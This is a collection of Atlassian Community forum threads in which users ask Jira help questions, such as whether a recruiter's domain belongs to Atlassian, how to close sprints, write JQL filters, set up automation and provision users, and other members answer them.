{ "author": "Ayesha Shahbel", "title": "atlassianllc.com ? legit domain?", "body": "Hi there,\n\nI recently interviewed for a Project Manager position based out of Canada and I'm curious if this email address containing the below domain is real. Can someone please confirm if the below domain belongs to Atlassian?\n\natlassianllc.com\n\natlassiancareer.com\n\nThe HR profile does show up on LinkedIn but the interview panel that I met with, isn't on LinkedIn which makes me doubt if I'm being scammed. \nI want to be sure before I share any of my details as I have read blogs on how fake jobs have been circulating in the job market. Could any one from the community please confirm? \nThank you in advance! :)\n\n<br />\n\n<br />\n" }

[ { "author": "Andy Heinzer", "body": "Hi [@Ayesha Shahbel](/t5/user/viewprofilepage/user-id/5562533)\n\nNeither of those domains belong to Atlassian. These have both been reported to our security team for further review.\n\nI'd recommend that you ignore any messages sent from those domains, it seems likely it is a scam. Atlassian will only use atlassian.com domain for official communications.\n\nAndy\n", "comments": [ { "author": "Ayesha Shahbel", "body": "Hey [@Andy Heinzer](/t5/user/viewprofilepage/user-id/541137)\n\nThank you for your prompt response. I have reported the email address along with the screenshots to abuse@atlassian.com :)\n" } ] } ]

{ "author": "hoc4hc", "title": "How to close a sprint in Jira track and release (tracker19)", "body": "Hello all,\n\nI have created a sprint and closed all tickets in that sprints. This sprint is active now but I want to close it. However, there is no way for me to close it. How can I close it?\n" }

[ { "author": "hoc4hc", "body": "This is my active sprint, there is no close button.\n\n![Jira_TR.png](https://community.atlassian.com/t5/image/serverpage/image-id/349426iBD655C379255A324/image-size/large?v=v2&px=999 \"Jira_TR.png\")\n", "comments": null }, { "author": "Dave Mathijs", "body": "Hi [@hoc4hc](/t5/user/viewprofilepage/user-id/5602174) Welcome to the Atlassian Community!\n\nTo complete a sprint, you must be a Jira Administrator or a user with the Manage Sprints permission.\n\nCheck out the following documentation article for more info: [Complete a sprint](https://support.atlassian.com/jira-software-cloud/docs/complete-a-sprint/)\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "Sathish Kumar", "title": "Components", "body": "Why components option not showing in jira\n" }

[ { "author": "Dave Mathijs", "body": "Hi [@Sathish Kumar](/t5/user/viewprofilepage/user-id/5602154) welcome to the Atlassian Community!\n\nFor company-managed projects, this core feature is enabled by default and can't be disabled. Components are listed in the **DEVELOPMENT** panel of the sidebar.\n\nAre you using a team-managed project?\n", "comments": null }, { "author": "Diego Chen", "body": "Confirm: Components Option is as a field in the issues or as a button in the projects?\n", "comments": null } ]

[ "cloud", "jira-cloud", "jira-software" ]

{ "author": "Miracalyzer", "title": "I can't find where to add a custom field", "body": "The instructions say this:\n\n1. Select \\> **Issues**.\n\n2. Under **FIELDS** , select**Custom fields**.\n\nBut I don't have these fields in the Settings section. \n\n<br />\n\n![2024-09-26 10.58.28.jpg](/t5/image/serverpage/image-id/349409i8BB602B0F456C9E0/image-size/large?v=v2&px=999 \"2024-09-26 10.58.28.jpg\")\n" }

[ { "author": "Mohanraj Thangamuthu", "body": "Hello, Good day. Thanks for the screenshot. You don't have Jira admin permission. You are only user management admin.\n\n![Screenshot 2024-09-26 at 11.43.43?AM.png](https://community.atlassian.com/t5/image/serverpage/image-id/349410i17E75A117CEF7F63/image-size/large?v=v2&px=999 \"Screenshot 2024-09-26 at 11.43.43?AM.png\")\n", "comments": null }, { "author": "Muhammad Moazzam Hassan", "body": "You don't have the administrator rights so you can't manage fields, screens, permissions or more..\n", "comments": null }, { "author": "Shreeja J", "body": "Hello [@Miracalyzer](/t5/user/viewprofilepage/user-id/5602111)\n\nWelcome to the Atlassian Community!\n\nIt seems you don't have Jira Administrator access, which is required to create custom fields. Only Jira Administrators can perform this action.\n\nThanks, \nShreeja J\n", "comments": null } ]

[ "cloud", "jira-cloud", "jira-cloud-administration", "not-applicable" ]

{ "author": "Duane Steyn", "title": "How do I filter out issues where status is done", "body": "I am writing a filter where, amongst other criteria, it filters out issues that have status done. Here is the revelant part in JQL. It still shows issues where status is \"Done\".\n\nproject = Q24\n\nAND type = Subtask\n\nAND Status IN (\"To Do\", \"In Progress\", Pending)\n\nAND assignee IN (712020:c1a9d850-96c8-4116-8180-8c436b0e59f0, empty)\n\nWhat am I doing wrong. I also tried negative statement, NOT IN \"Done\" and it did not work either\n" }

[ { "author": "Muhammad Moazzam Hassan", "body": "project = \"Q24\" and statusCategory **!=** Done (This Query will retrieve the issues which are **not** in the state of Done, Resolved, Closed or Any status in Green Box) \n\nproject = \"Q24\" and statusCategory = Done (This Query will retrieve the issues which are in the state of Done, Resolved, Closed or Any status in Green Box)\n", "comments": null }, { "author": "Evgenii", "body": "Hi, [@Duane Steyn](/t5/user/viewprofilepage/user-id/5474275)\n\nThere are different ways to achieve what you want, each varying in logic.\n\n1. Use a JQL query like \"`status != Done`\" to exclude issues with a specific status. This works when you know the exact status to filter out.\n\n2. If you need to filter out multiple statuses, use a query like \"`status NOT IN (Done, Closed, Resolved)`\".\n\n3. To filter all statuses in a specific category (there are three: To Do, In Progress, Done, each with a distinct color---grey, blue, and green), use the JQL query \"`statusCategory != Done`\".\n\n4. If you're unsure of the exact status names or there are too many, and you set a resolution when an issue reaches a final status, you can use the query \"`resolution IS NOT EMPTY`\". It's good practice to set the resolution upon issue closure since it influences Jira's logic for counting productivity.\n", "comments": null }, { "author": "Mohanraj Thangamuthu", "body": "Hello, Good day. I don't see you have used 'OR' anywhere and only \"AND' is used. Is it possible for you to share a screenshot ?\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "Lara Weber", "title": "issueFunction in issuesInEpics() without result", "body": "Hello together,\n\nin Jira I get no result by using this code in JQL ticket search:\n\nissueFunction in issuesInEpics(\"Project = FH AND status = 'Open'\")\n\nIs there a bug?\n\nThanks for helping.\n\nKind Regard, \nLara\n\n<https://docs.adaptavist.com/sr4js/latest/features/jql-functions/included-jql-functions/issue-links#id-.IssueLinksv8.2.0-issuesInEpics>\n" }

[ { "author": "Carla Ann Rowland", "body": "I did not see any reports about a bug; but here is link to the various boards: <https://jira.atlassian.com/secure/Dashboard.jspa?selectPageId=10440> but that function is not a standard function-- it is an \"expanded one\"\n\nI would check with Adaptavist since their tool expands JQL to the Issue function.\n", "comments": null } ]

[ "jira-server", "server" ]

{ "author": "Alina_Seitan-Todosiciuc", "title": "Is there a possibility to use in JIRA subcomponents without extra app?", "body": "We are using components. We see the need to have a also subcomponents. But I do not see how this can be done without a app.\n" }

[ { "author": "Cristian IONESCU", "body": "Hi Alina,\n\nAs a workaround, you can use a custom field to simulate subcomponents in Jira.\n\nHope this helps\n", "comments": [ { "author": "Dave Mathijs", "body": "True, that is a possible workaround, but it doesn't offer the same functionality as Jira Components do (component lead, default assignee)\n" } ] }, { "author": "Dave Mathijs", "body": "Hi [@Alina_Seitan-Todosiciuc](/t5/user/viewprofilepage/user-id/5596145) ,\n\nNo, that isn't possible. Jira Components don't have a hierarchy, it's a single level.\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "ethan", "title": "Question about the order of displaying Two Dimensional Filter Statistics filter and workflow", "body": "Two Dimensional Filter Statistics: KSS All Filter\n\nI have a question. \nI am using the Two Dimensional Filter Statistics filter and displaying the workflow and Assignee.\n\nThe current display order is:\n\nnow) Open - In Progress - Reopened - Resolved - Closed - Design - Examine\n\nHowever, I want the order to be as follows:\n\nwant) Open - Examine - Design - In Progress - Resolved - Closed - Reopened\n\nIs it possible to change the display order like this?\n" }

[ { "author": "Shreeja J", "body": "Hello [@ethan](/t5/user/viewprofilepage/user-id/5496353)\n\nThanks for reaching out! Unfortunately, Jira doesn't allow you to manually change the display order of workflow statuses in the Two Dimensional Filter Statistics gadget. The order is typically determined by the workflow status category.\n\nHowever, you can try reorganizing the statuses within the workflow itself. This might help them appear in your desired sequence, although it could affect other areas of the project as well.\n\nThanks, \nShreeja J\n", "comments": null }, { "author": "Muhammad Moazzam Hassan", "body": "Nope, You can only set it in Ascending or Descending order, Or you can sort number by total or natural.\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "Andrew Boughton", "title": "Why is it difficult to add team members to a new project?", "body": "I've just begus using Jira. But why is it so difficult to add team members to a new project, in this case for a new team that spand two companies. Do all team members, including those from our new client, first need to register as Atlassian users before they can be added by us to a project team ... ?\n" }

[ { "author": "Muhammad Moazzam Hassan", "body": "It is not that difficult if you are giving permission of project to user via Groups then you can add user in all projects in one step while sending them invite add the user in the relevant group and the relevant group already has the access of those projects.\n", "comments": null }, { "author": "Shreeja J", "body": "Hello [@Andrew Boughton](/t5/user/viewprofilepage/user-id/5602055)\n\nGreat question! Yes, in order to add team members to a Jira project, they do need to be registered as Atlassian users first. This includes your client's team members, as they'll need to have their own Atlassian accounts to access the project. Once they've registered, you can easily add them to the project by going to the project settings and inviting them via their email addresses.\n\nThanks, \nShreeja J\n", "comments": null } ]

[ "atlassian-accounts", "cloud", "jira-cloud", "not-applicable" ]

{ "author": "THIRUMURUGAN SIVAJI", "title": "Not able to view the project", "body": "Hello, I have accepted the Jira invite and able to login. After login, project is not displayed eventhough it has been assigned to me. I am able to select a plan but tasks are not displayed eventhough other members able to see the tasks(epic, story). can someone help me to resolve the issue?.\n" }

[ { "author": "Trudy Claspill", "body": "Hello [@THIRUMURUGAN SIVAJI](/t5/user/viewprofilepage/user-id/5602052)\n\nWelcome to the Atlassian community.\n\nYou will need to contact the administrator of the project or the administrator of that Jira system for help.\n\nWe are a community of users of our own Jira systems. We don't have access to all systems.\n\nOnly the administrators of the system will be able to grant you the permissions you need to access the data.\n", "comments": null } ]

[ "cloud", "jira-cloud", "jira-software" ]

{ "author": "stephan_lewis", "title": "Quickfilter to not show Sub-Tasks that were resolved in a previous sprint", "body": "I'm trying to create a Scrum Board Quickfilter to not show sub-tasks that were resolved in a previous sprint.\n\nI was able to create a filter that returns all the sub-tasks that have been closed in previous sprints.\n\nissuetype in subtaskIssueTypes() AND resolved \\<= endOfDay(-1d) AND sprint in closedSprints()\n\nI need to find the opposite (show everything but ...)\n\nI tried various NOT and != but without any success\n\nAny ideas?\n" }

[ { "author": "Carla Ann Rowland", "body": "you need to do:\n\nissuetype in sub-taskIssueTypes() AND resolved\\<=endOfDay(-1d) AND sprint in currentSprint()\n\nthis should display only sub-tasks in current sprint.\n", "comments": null } ]

[ "cloud", "jira-cloud", "quick-filter" ]

{ "author": "naveena sony", "title": "Quick Filter | Kanban Board", "body": "Hi,\n\nI am trying to add quick filter for fix version in my Kanban board.\n\nSomehow it does not work after adding JQL\n\nFor Example -\n\nI set Fix version = Release 1 \n\nThen I have added JQL as Fixversion = Release 1\n\ni have linked my epics/stories tagged to above\n\nbut it does not display the tickets.\n\nHowever if I search in Search filter then with the same JQL, I can see all tickets. \n\nit's not working in Kanban Board. \nI tried other JQL it works in my Board\n\nif someone can help, that would be great!\n" }

[ { "author": "Ollie Guan", "body": "Hi [@naveena sony](/t5/user/viewprofilepage/user-id/5602016) ,\n\nPls check your Sub-filter query in General settings.\n\n![Jietu20240926-111439@2x.png](https://community.atlassian.com/t5/image/serverpage/image-id/349390i8E13A63755339635/image-size/large?v=v2&px=999 \"Jietu20240926-111439@2x.png\")\n", "comments": null } ]

[ "data-center", "jira-data-center" ]

{ "author": "Michael Pankau", "title": "Change parent status based on all subtasks being resolved", "body": "Here's what I'm trying to do:\n\nWe have Story issues in a status of 'Pending Bug'. These stories have a variety of subtasks that represent development tasks, testing tasks, bug (bug sub-tasks), etc.\n\nI'm trying to write a rule such that when ever the status of a sub-task changes, we find the parent (the Story), and the evaluate if all of the subtasks that are not of the 'QA Testing Sub-Task' type are in a status of 'Done', 'Closed, or 'Cancelled'. And then, if they are -\\> change the Story status to 'QA Ready'.\n\nI hope that makes sense - thanks for any help!\n" }

[ { "author": "Trudy Claspill", "body": "Hello [@Michael Pankau](/t5/user/viewprofilepage/user-id/5466244)\n\nWelcome to the Atlassian community!\n\nIn the Automation area you can find some rule templates. There is one there for transitioning a parent issue to Done when all its sub-tasks are Done.\n\n![Screenshot 2024-09-25 at 6.00.33?PM.png](https://community.atlassian.com/t5/image/serverpage/image-id/349362i0F8426708F22BFFC/image-size/large?v=v2&px=999 \"Screenshot 2024-09-25 at 6.00.33?PM.png\")\n\nThat would be a starting point for your rule. It would need refinement since you don't want to include all the subtasks in your evaluation.\n\nYou may need to use a couple of Related Issue Conditions to check your subtasks such as\n\nSome match JQL: \nissuetype != 'QA Testing Sub-Task' and status in ('Done', 'Closed, 'Cancelled')\n\nand None match JQL:\n\nissuetype != 'QA Testing Sub-Task' and status not in ('Done', 'Closed, 'Cancelled')\n", "comments": null }, { "author": "Benjamin", "body": "HI [@Michael Pankau](/t5/user/viewprofilepage/user-id/5466244) ,\n\nCan't fully remember exactly the steps. But you would look into using branches in your rules set where based on changes in sub-task/parent, it would update vice versa. However, you are on the right track using automation rules to do this.\n\nHope this helps\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "Vini Vincent", "title": "Unable to remove unwanted fields from Field configurations (Jira Data Center)", "body": "Hi,\n\nI've noted that it is not possible to remove a custom field from Field configurations. Our Field configurations display all custom fields ever created in our Jira. I can delete a field from a specific Field configuration if I disassociate it from the projects, however, it also deletes it from the Default field configuration, thereby impacting other projects. Similarly, any new field created in a specific Field configuration would appear in the Default field configuration and vice-versa.\n\nI am not sure if this is the intended behaviour of Field configurations or if this is a result of poor initial set-up on our part.\n\nIf it is the intended behaviour, it would be good to understand why, and what the work around is. Currently there are 169 fields appearing in all the Field configurations.\n\nIs it possible to create a Field configuration for a project without all the 169 fields (and associated project names) appearing?\n" }

[ { "author": "Benjamin", "body": "HI [@Vini Vincent](/t5/user/viewprofilepage/user-id/5263730) ,\n\nField configuration is more for how a field should behaved. It usually would have mostly all fields available when they're created. In field configuration, for example, you can configure whether the field is optional or required or hidden. However, this does not impact what's actually displayed on your screens. You screens and screen schemes what shows up for each issue type in your project.\n\nHope the helps clarify things a bit.\n", "comments": [ { "author": "Vini Vincent", "body": "Thanks for your reply [@Benjamin](/t5/user/viewprofilepage/user-id/3275402) That makes sense.\n" } ] } ]

[ "jira-data-center", "jira-software" ]

{ "author": "Ky M", "title": "Jira testing & release", "body": "Can we attach some files in \"Release\" for test executions so we can avoid open an issue again? Thanks.\n" }

[ { "author": "Alex Ortiz", "body": "[@Ky M](/t5/user/viewprofilepage/user-id/5599014) Welcome to the Atlassian Community\n\nAre you using a third party testing tool like Xray or Zephyr? These might have special areas in their workflow to upload artifacts based on testing conditions.\n\nBut, to answer your question, you should be able to attach a file to any issue in Jira, regardless of its status. I'm assuming \"Released\" is a status?\n", "comments": [ { "author": "Ky M", "body": "Because as what have I know now, if we want to use a \"test\", we have to build a \"release\", then create cycles in the \"test\" page, and link the \"test\" to an \"issue\".\n\nI am thinking if I can try not to open an issue but attach files directly to the \"release\" for \"testing\". Is it actually possible to do so?\n" } ] }, { "author": "Benjamin", "body": "Welcome [@Ky M](/t5/user/viewprofilepage/user-id/5599014) !\n\nShould be able to attach files while testing. Like results and screenshots. However, How would attaching files avoid opening issue again? If an issue happens again, would generally open up another ticket for another release that introduce the issue.\n", "comments": [ { "author": "Ky M", "body": "Because as what have I know now, if we want to use a \"test\", we have to build a \"release\", then create cycles in the \"test\" page, and link the \"test\" to an \"issue\".\n\nHowever, is it possible to directly add the attachments to the \"release\", so we can avoid linking the \"cycle\" to a test \"issue\". (As I am trying not to create a new test issue for testing)\n" } ] } ]

[ "cloud", "jira-cloud" ]

{ "author": "Evys Morrell", "title": "como migro a un proyecto ya conformado", "body": "deseo entrar a un proyecto de la universidad pero no logro ver mas proyectos solo el mio, ayuda por favor\n" }

[ { "author": "Benjamin", "body": "Hola, si deseas ver otros proyectos, debes tener permisos de exploraci?n para esos proyectos. Si necesita crear un nuevo proyecto, entonces el administrador de Jira deber? otorgarle la capacidad de crear proyectos. En su t?tulo, menciona migrar su proyecto a otro. Lo que puede hacer es trasladar sus problemas de forma masiva a otro proyecto. Para ello, necesitar? permiso masivo y acceso a ambos proyectos. Espero que esto ayude\n", "comments": null }, { "author": "Camilo Galleguillos", "body": "?Hola [@Evys Morrell](/t5/user/viewprofilepage/user-id/5601956), bienvenida a la Comunidad Atlassian!\n\nPara poder acceder a otros proyectos es necesario que un administrador (Project Administrator o Jira Administrator) te agregue al mismo. Es necesario tambi?n que tengas el permiso \"Browse projects\" en el proyecto para poder acceder a ?l. Te recomiendo contactar a la ventanilla de soporte de tu universidad para solicitar acceso a los proyectos que requieres.\n\n|----------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| ![cgr-sr-badge](https://community.atlassian.com/t5/image/serverpage/image-id/347388iD1F5778507717E49/image-dimensions/258x124?v=v2 \"cgr-sr-badge\") | #### Camilo Galleguillos {#toc-hId-374415476} Sr. Technical Consultant [**ServiceRocket**](https://servicerocket.com/) [camilo.galleguillos@servicerocket.com](mailto:camilo.galleguillos@servicerocket.com) Santiago, Chile |\n", "comments": null } ]

[ "cloud", "jira-cloud", "jira-software" ]

{ "author": "John Petersen", "title": "New client user not receiving invitation", "body": "Hello,\n\nI am receiving reports that new clients we are adding to our Jira projects are not receiving the initial invitation.\n\nPlease help.\n\nThanks\n" }

[ { "author": "atifulaftab", "body": "Hello \n\nI am new here. Just a suggestion- may be you can check your project settings carefully. May be they have lack of permissions.\n", "comments": null }, { "author": "Alex Ortiz", "body": "[@John Petersen](/t5/user/viewprofilepage/user-id/5601923)\n\nAre you inviting the user from admin.atlasisan.com? Or are you inviting the user when trying to assign an issue to your client.\n\nIf you are using admin.atlassian.com, are you inviting your client as a JSM customer? As a Jira user?\n\nYou can check your logs under security in admin.atlassian.com, type in the client's name, and maybe the logs tell you if they were at least invited?\n\nFinally, what does your atlassian product access settings look like? Maybe you can generate an invite link and email that directly to your client.\n", "comments": null }, { "author": "Camilo Galleguillos", "body": "Hi, [@John Petersen](/t5/user/viewprofilepage/user-id/5601923)\n\nAre you receiving other e-mails from the site, such as notifications and filter subscriptions? If not, it is possible that the outgoing mail is disabled. You can check it out by selecting the cog icon at the top right corner of your screen, then System Settings, and Outgoing Mail.\n\nBest,\n\n|----------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| ![cgr-sr-badge](https://community.atlassian.com/t5/image/serverpage/image-id/347388iD1F5778507717E49/image-dimensions/258x124?v=v2 \"cgr-sr-badge\") | #### Camilo Galleguillos {#toc-hId-374414664} Sr. Technical Consultant [**ServiceRocket**](https://servicerocket.com/) [camilo.galleguillos@servicerocket.com](mailto:camilo.galleguillos@servicerocket.com) Santiago, Chile |\n", "comments": [ { "author": "John Petersen", "body": "HI [@Camilo Galleguillos](/t5/user/viewprofilepage/user-id/4777596)\n\nAll other emails are going out to users. I am curious if there is a way to check any bounce notifications for invitations in our account.\n\nThanks\n" } ] } ]

[ "cloud", "jira-cloud" ]

{ "author": "Leonardo Alcantar", "title": "Issue Type not showing text/title", "body": "Hello Community -\n\nI've been trying to find out why the Issue Type list field doesn't show the title---it shows the icon, and if I hover over it, the title shows as a tip. I tried changing the names of the issues to test if that made a difference, etc., but it didn't make a difference.\n\nThe Issue Type seems to be showing up correctly everywhere else. I tried to log out and clear my cookies as well. Different browsers, etc.. I don't see any settings that would make it hidden or anything like that.\n\n![Screenshot 2024-09-25 at 4.48.21?PM.png](https://community.atlassian.com/t5/image/serverpage/image-id/349356i32F252EFE354C42F/image-size/large?v=v2&px=999 \"Screenshot 2024-09-25 at 4.48.21?PM.png\")\n" }

[ { "author": "Jack Brickey", "body": "Hi [@Leonardo Alcantar](/t5/user/viewprofilepage/user-id/5601912) , indeed that is the behavior as implemented. I have not seen any configuration option.\n", "comments": null } ]

[ "cloud", "jira-cloud" ]

{ "author": "alipson", "title": "Give non-admin users read-only access to project roles", "body": "My jira project has a complex set of project roles mapped to issue security levels. While I'm able to manage the roles and security levels myself as an admin, non-admin users often want to know who is in each of the roles they are a part of so that they can select the correct one for an issue.\n\nIs there a way to allow non-admin users to see who is in each of the project roles that they are a member of?\n" }

[ { "author": "Walter Buggenhout", "body": "Hi [@alipson](/t5/user/viewprofilepage/user-id/5601885) and welcome to the Community!\n\nNo, non-admin users don't have access to project settings, where this information resides. I would recommend to provide a documentation page in an accessible place where people can check what role should be selected in a specific case.\n\nOn a side note, this sounds like a situation that would worry me a bit. If users need a manual to set permissions right with each issue they create / edit, it might be something got a bit of hand. But that's a different discussion of course and just a slight concern I would have.\n\nHope this helps!\n", "comments": null } ]

[ "cloud", "jira-cloud", "jira-cloud-administration", "not-applicable" ]

{ "author": "Yash Pradhan", "title": "Unable to change Values", "body": "Hi team, \nI am not able to change values in any of the Jira. \nPFA Screenshot for Reference. \nI have user admin access role, I have checked everything, I do have project rights wherever i am trying to do change \n\n(Tried With Super admin access ID As well still facing the same) \n\nHighlighted Yellow are the value i am trying to change it was working with me until yesterday.![Capture.PNG](/t5/image/serverpage/image-id/349402i3AAF62E1212B80A7/image-size/large?v=v2&px=999 \"Capture.PNG\")\n" }

[ { "author": "Muhammad Moazzam Hassan", "body": "Do check few settings. \n\n1. Edit Rights from the Permission Schemes \n\n2. Check the fields are on the Edit Screen or not. \n\n3. Check the workflow properties may be the edit is disable via worklow properties on Closed Status. \n", "comments": [ { "author": "Yash Pradhan", "body": "Yes i have tried, This problem is only occurring from my END . I have tested with my colleague system he only has the normal user access and still it was letting him do the changes whereas I who has the admin rights is not letting me change.\n" }, { "author": "Muhammad Moazzam Hassan", "body": "Check your role in the project are you added as a Service Desk Team or Service Desk Customer?\n" } ] } ]

[ "cloud", "jira-work-management-cloud" ]

{ "author": "Noureen Stephens", "title": "How to Clone tickets containing Smart Checklist", "body": "We have an Epic Ticket with child tickets (TEMPLATE). The child tickets have Smart Checklist. Is it possible to clone the Parent and child tickets; and retain the Smart Checklist within the child tickets?\n" }

[ { "author": "Luka Hummel - codefortynine", "body": "Hi [@Noureen Stephens](/t5/user/viewprofilepage/user-id/106805),\n\nFor cloning tickets with Smart Checklists, you can try our app [Deep Clone for Jira](https://marketplace.atlassian.com/apps/1218652?utm_source=atlassian&utm_medium=referral&utm_campaign=deepj-new-reach-com-2821146). Deep Clone allows you to clone epics along with their child issues, attachments, and custom fields, including checklists like Smart Checklist. It ensures that all checklist items and their statuses are preserved during the cloning process, which seems to match your needs.\n\nYou can read more on Deep Clone's compatibility with Smart Checklist for Jira [here](https://documentation.codefortynine.com/deep-clone-for-jira/smart-checklist-for-jira).\n", "comments": [ { "author": "Noureen Stephens", "body": "Ok great! Thank you so much for the info.\n" } ] }, { "author": "Olena Brazhko_Railsware_", "body": "Hi [@Noureen Stephens](/t5/user/viewprofilepage/user-id/106805) !\n\nYes, everything should work without any additional actions. You can check out our documentation [here](https://railsware.atlassian.net/wiki/spaces/CHK/pages/635502593/Clone+Checklist+by+Cloning+a+Jira+Issue). Please keep in mind that all checklist items are going to be cloned as is (with actual statuses in the original tasks).\n\nFor the flow you described, we would also recommend looking into [Smart Templates](https://marketplace.atlassian.com/apps/1231143/smart-templates-issue-templates-and-scheduler-for-jira?tab=overview&hosting=cloud) -- an add-on that simplifies recurring processes with templates and hierarchies, and supports Smart Checklist.\n\nIf you have additional questions or if something is not working as expected, you can always contact our Support Team directly at [support@titanapps.io](mailto:support@titanapps.io).\n\nBest,\n\nOlena\n", "comments": [ { "author": "Noureen Stephens", "body": "Thanks Olena for the Tips and info. We'll give it a go!\n" } ] } ]

[ "cloud", "jira-work-management-cloud" ]

{ "author": "jagadeesh D", "title": "How can i provide the jira access with AD group", "body": "How can i provide the jira access with AD group\n" }

[ { "author": "Samuel Gatica", "body": "Hi [@jagadeesh D](/t5/user/viewprofilepage/user-id/5601632)\n\nWelcome to the community!\n\nYes, you can provision access to Jira Cloud with an Active Directory.\n\n**Supported identity providers** \nYou can use the identity provider of your choice, but some capabilities are only available with selected identity providers. Learn which identity providers we support\n\nThe steps involved to set up user provisioning will differ depending on the identity provider you use. Here are setup instructions for some of the commonly used identity providers:\n\n* [Okta: Learn how to configure user provisioning with Okta](https://support.atlassian.com/provisioning-users/docs/configure-user-provisioning-with-okta/)\n* [OneLogin: Learn how to configure user provisioning for OneLogin](https://onelogin.service-now.com/support?id=kb_article&sys_id=05501489db792708ca1c400e0b9619ea)\n* [Azure AD: Learn how to configure user provisioning for Azure AD](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/atlassian-cloud-provisioning-tutorial)\n* [Google Cloud:Configure user provisioning with Google Cloud](https://support.atlassian.com/provisioning-users/docs/configure-user-provisioning-with-google-cloud/)\n* [Google Workspace: Learn how to set up user provisioning for Google Workspace](https://support.atlassian.com/provisioning-users/docs/connect-to-g-suite/)\n* [PingFederate: Learn how to configure user provisioning for PingFederate](https://docs.pingidentity.com/r/en-us/pingfederate-atlassian-cloud-connector)\n* [JumpCloud: Learn how to configure user provisioning for JumpCloud](https://support.jumpcloud.com/support/s/article/Identity-Management-with-Atlassian-Cloud)\n\nFor further reference please check this article [Understand user provisioning](https://support.atlassian.com/provisioning-users/docs/understand-user-provisioning/)\n\nBe aware that you will need to have an [Atlassian Guard Standard suscription](https://support.atlassian.com/security-and-access-policies/docs/understand-atlassian-guard/)\n\nHope this helps!\n\nBest regards\n\nSam\n", "comments": null }, { "author": "Jan Westphal", "body": "Hello [@jagadeesh D](/t5/user/viewprofilepage/user-id/5601632) \n\nyou can add your AD as an Identity Provider: \n<https://support.atlassian.com/provisioning-users/docs/choose-your-identity-provider/>\n\nYou do need Atlassian Guard Standard for that though. \n\nAfter that you can choose AD Groups in your Product Access Settings. \n\nBest regards,\n", "comments": null } ]

[ "cloud" ]

{ "author": "Haoran Xin", "title": "What is jira", "body": "What is jira\n" }

[ { "author": "Ollie Guan", "body": "<https://youtu.be/X2yYnADRYTw?si=_2138qe6EYGk7_5u>\n\nIn this video, we'll be discussing what Jira is and how it can be used in project management. Jira is a popular issue-tracking and project-management tool developed by Atlassian that is widely used by software development teams.\n\nJira allows teams to plan, track, and manage their projects by creating and organizing tasks, bugs, and issues. Jira uses agile methodologies, such as Scrum and Kanban, to help teams work collaboratively and efficiently. It also provides advanced reporting and analytics features that help project managers keep track of team performance and project progress.\n", "comments": null }, { "author": "Haoran Xin", "body": "**Bug tracking**: Focuses on tracking bugs or issues.\n", "comments": null } ]

[ "atlassian-accounts", "cloud", "not-applicable" ]

{ "author": "Sai Prasad", "title": "How do I Optimizing / email notifications fields when I get an email ?", "body": "Hello All,\n\nI need assistance with customizing the fields in the automated email triggered when someone sends a message to our distribution list. Specifically, I would like to include the sender's email address or name in the triggered email. Could you please guide me on how to achieve this?\n\nAttached the image of my requirements.\n\n![JIRA.png](https://community.atlassian.com/t5/image/serverpage/image-id/348894i2DF6B7906EB382EF/image-size/large?v=v2&px=999 \"JIRA.png\")\n\nRegards,\n" }

[ { "author": "Aron Gombas _Midori_", "body": "Using the built-in feature, you can't customize notification email templates. There is an issue for that: <https://jira.atlassian.com/browse/JRACLOUD-7266>\n\nBut there are apps to fill the gap, for example these:\n\n1. [https://marketplace.atlassian.com/apps/4832/enterprise-mail-handler-for-jira-jemh?hosting=cloud\\&tab=overview](https://marketplace.atlassian.com/apps/4832/enterprise-mail-handler-for-jira-jemh?hosting=cloud&tab=overview)\n2. [https://marketplace.atlassian.com/apps/1214045/raley-email-notifications-for-jira-jsm?hosting=cloud\\&tab=overview](https://marketplace.atlassian.com/apps/1214045/raley-email-notifications-for-jira-jsm?hosting=cloud&tab=overview)\n3. [https://marketplace.atlassian.com/apps/1211069/notification-assistant-for-jira-email?hosting=cloud\\&tab=overview](https://marketplace.atlassian.com/apps/1211069/notification-assistant-for-jira-email?hosting=cloud&tab=overview)\n", "comments": null } ]

[ "custom-field", "customer-care", "help", "jira", "notification", "ticket" ]

{ "author": "Moti Lahiani", "title": "Install a jira connect app from my site or application", "body": "Hey \nIn the past I built a bitbucket-cloud app(add-on) and in doc i found the following\n\n<https://developer.atlassian.com/cloud/bitbucket/install-an-app-from-your-site/> \nthat explain how can I install the app from my site, \nsame i found for OAuth2.0 jira app [here](https://developer.atlassian.com/cloud/jira/software/oauth-2-3lo-apps/#implementing-oauth-2-0--3lo-) \nbut for jira connect app i can't find what is the process to install the app from my site \ncan someone explain or share link or example? \n\nThanks\n\n<br />\n\n<br />\n" }

[ { "author": "Moti Lahiani", "body": "aaas\n", "comments": null }, { "author": "Mohanraj Thangamuthu", "body": "Hello, Good day. You want to install the app that you have developed ?\n\nHope this link gives a starting point : <https://confluence.atlassian.com/jirakb/how-to-use-oauth2-0-in-postman-client-for-jira-cloud-apis-1409092149.html>\n", "comments": [ { "author": "Moti Lahiani", "body": "Hey Mohanraj T. \n\nThanks for your answer \nthis kb explain how to install Oauth2.0 application i am developing an atlassian-connect application, its deferent if i am not missing something. \nwhat i am looking for is explanation (same it have in [bitbucket cloud](https://developer.atlassian.com/cloud/bitbucket/install-an-app-from-your-site/) ) to configure/set in my website (not jira site) so when customer will press the button/link it will get an atlassian page that will install my application \n\nAt the beggining i created an OAuth2.0 app and i used the following link \n\n```\nhttps://auth.atlassian.com/authorize/?audience=api.atlassian.com&client_id=${client_id}&scope=${jiraAppPermissions}%20offline_access&redirect_uri=${redirect_uri}&state=${state}&response_type=code&prompt=consent\n```\n\nand i success to get atlassian page that install my app to customer \nsame i want to have but only for my atlassian-connect app\n" } ] } ]

[ "cloud", "connect", "jira-cloud", "jira-work-management-cloud" ]

